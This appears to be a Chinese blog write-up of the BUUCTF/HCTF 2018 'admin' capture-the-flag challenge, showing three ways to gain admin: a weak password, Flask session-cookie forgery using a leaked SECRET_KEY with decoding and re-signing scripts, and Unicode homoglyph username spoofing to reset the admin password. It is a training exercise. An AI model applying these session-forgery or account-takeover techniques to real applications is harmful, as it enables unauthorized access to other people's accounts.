BUUCTF [HCTF 2018] admin

考点:

  1. 弱密码
  2. Flask伪造session
  3. Unicode欺骗

启动环境:
在这里插入图片描述
简洁的页面和一个菜单栏,菜单栏中包含登陆注册功能
查看网页源码,发现提示:

<!-- you are not admin -->

提示需要用admin用户登陆

解法一:弱密码

尝试使用admin登陆,密码123
在这里插入图片描述
登陆成功,可以得到flag

首先注册正常的账户:

test
test

在这里插入图片描述
登陆成功后,进入到主页,其中菜单栏包含页面:indexpostchange passwordlogout
在这里插入图片描述
post页面是一个类似文章发布或留言板的功能,change password页面是修改密码功能
在这里插入图片描述
在各页面查找提示时,在修改密码界面源码中查找到:

<!-- https://github.com/woadsl1234/hctf_flask/ -->

尝试从Github下载源码:
在这里插入图片描述
源码为Flask框架,查看其路由页面:

@app.route('/code')
@app.route('/')
@app.route('/index')
@app.route('/register', methods = ['GET', 'POST'])
@app.route('/login', methods = ['GET', 'POST'])
@app.route('/logout')
@app.route('/change', methods = ['GET', 'POST'])
@app.route('/edit', methods = ['GET', 'POST'])
@app.errorhandler(404)

存在登陆注册修改密码edit等功能

解法二:Flask伪造Session

Flask中的session是存储在客户端的cookie中,也就是存储在本地,Flask对数据进行签名防篡改。而Flask并没有提供加密,所以session可以在客户端中被读取。

参考:Flask中的session

在本题中routes.py页面,导入了session方法:

from flask import xxx, session, xxx

使用BurpSuite抓取数据包:
在这里插入图片描述
可以获取到session

session=.eJw9kEGLwjAQhf_KMmcPGu1F8FBJ3W1hElrihslF1K22SeNCW9FW_O8bXPA0DG_me2_mAbtTW3YVLPv2Wk5gV__A8gEfB1gC6WQueeMEK7xg28HoopHcRWiNNTyJcDSOxnVNNr0LnYUaL6Q2VtjtSAwjydc18u8axybM4dTYfJAqszRWDbGskpzuwmYOPzcVqvROPr8hj6eSGy9szqSqKlJx8DsyobZz9MFf00z4kEflQ-gDN1kYla_gOYFj1552_a8rL-8ThC4s8swKlQbEkZHeWBzdHO15hjqs-iQynEK0jSOVDjS6hYhXL1zt9-fyTTJfTV3c_pXL3gcB-rLrYQLXrmxfb4PZFJ5_IUVs2g.X9GIFw.jVsoklHDPjPIBeBhQ5i4TpNd5xw

使用Python3脚本进行解密:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
python3 main.py session

在这里插入图片描述
得到解密后的session信息:

{'_fresh': True, '_id': b'aa789d7df7e2ede89926cd1936dc0bb215bbb089fc653cc980b05b39dc34f4292cc8ecba86162d0aa121bd000486f64698aa092765572de9f56df5422ddc18e4', 'csrf_token': b'5dc02c526576aac3972851a8fa9d64f1da22c984', 'image': b'dybG', 'name': 'test', 'user_id': '10'}

要想构造admin用户的session,还需获取到SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。

通过对本题源码的分析,在config.py页面中找到:

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

其中SECRET_KEY的值为:ckj123,在本地构建Flask应用,生成SECRET_KEY伪造adminsession

sesion=eyJuYW1lIjoiYWRtaW4ifQ.X9GQxA.tPYjWZMjsyIGLwe1kr8xNkLFYFk

获得伪造后的session,构造本题所需的session

{'_fresh': True, '_id': b'aa789d7df7e2ede89926cd1936dc0bb215bbb089fc653cc980b05b39dc34f4292cc8ecba86162d0aa121bd000486f64698aa092765572de9f56df5422ddc18e4', 'csrf_token': b'5dc02c526576aac3972851a8fa9d64f1da22c984', 'image': b'dybG', 'name': 'admin', 'user_id': '10'}

将原本的name修改为admin,使用flask-session-cookie加密脚本Github地址

python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "session..."

在这里插入图片描述
得到加密后的session

.eJw9kEGLwjAQhf_KMmcPGu1F8FBJ3W1hElrihslFXK02SeNCVbQV__sGFzwNw5v53pt5wObQ1ecG5pfuWo9gY_cwf8DHD8yBdDaVvPWCVUGwdW901UruE3TGGZ4lOBhPw9KSy-9CF7GmM6mNE249EMNE8qVF_m1xaOMcjo0re6kKR0PTEisayekuXOHxc9Wgyu8UyhvydCy5CcKVTKqmIZVGvx0Taj3FEP01TUSIeVTZxz5ys5lR5QKeI9idu8Pm8uvr0_sEoSuHvHBC5RGxY6RXDgc_RXecoI6rIUsMpxht5UnlPQ1-JtLFC2fD9li_SeartdXtXzltQxRguw_2BCO4nuvu9TeYjOH5B44CbSM.X9GUGA.w4nTRxBXiA9uaoA22WXhQe1vmGY

使用BurpSuite抓取数据包,修改其中session信息:
在这里插入图片描述
发送数据包,得到flag
在这里插入图片描述
没有修改user_id的值,在index.php页面源码中:

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

发现其值判断了session中的name属性,其值为admin,即可输出flag。

解法三:Unicode欺骗

route.py页面中,查看到register()函数、login()函数、change()函数都包含:

def register():
        name = strlower(form.username.data)

def login():
        name = strlower(form.username.data)
        session['name'] = name

def change():
        name = strlower(session['name'])

其中都是用strlower()来转为小写,没有使用Python自带的lower()函数,详细查看该函数:

def strlower(username):
    username = nodeprep.prepare(username)
    return username

通过查阅资料,nodeprep.prepare()函数的原理就是会将unicode字符转换成A,而A再调用一次nodeprep.prepare()函数会把A转换成a

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

以上为转换过程,我们可以通过这种方式伪造admin用户,即注册用户ᴬᴰᴹᴵᴺ,在登陆时,用户名通过strlower(form.username.data)会转化为:ADMIN。修改密码时,strlower(session['name'])会将ADMIN转化为admin,所以可以修改admin用户的密码。

首先注册用户ᴬᴰᴹᴵᴺ
在这里插入图片描述
在成功登陆后,用户已转变为:ADMIN
在这里插入图片描述
此时修改密码为:test
在这里插入图片描述
修改成功:
在这里插入图片描述
经过两次转化,修改的应为用户admin的密码,尝试登陆:
在这里插入图片描述
登陆成功,获得flag

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值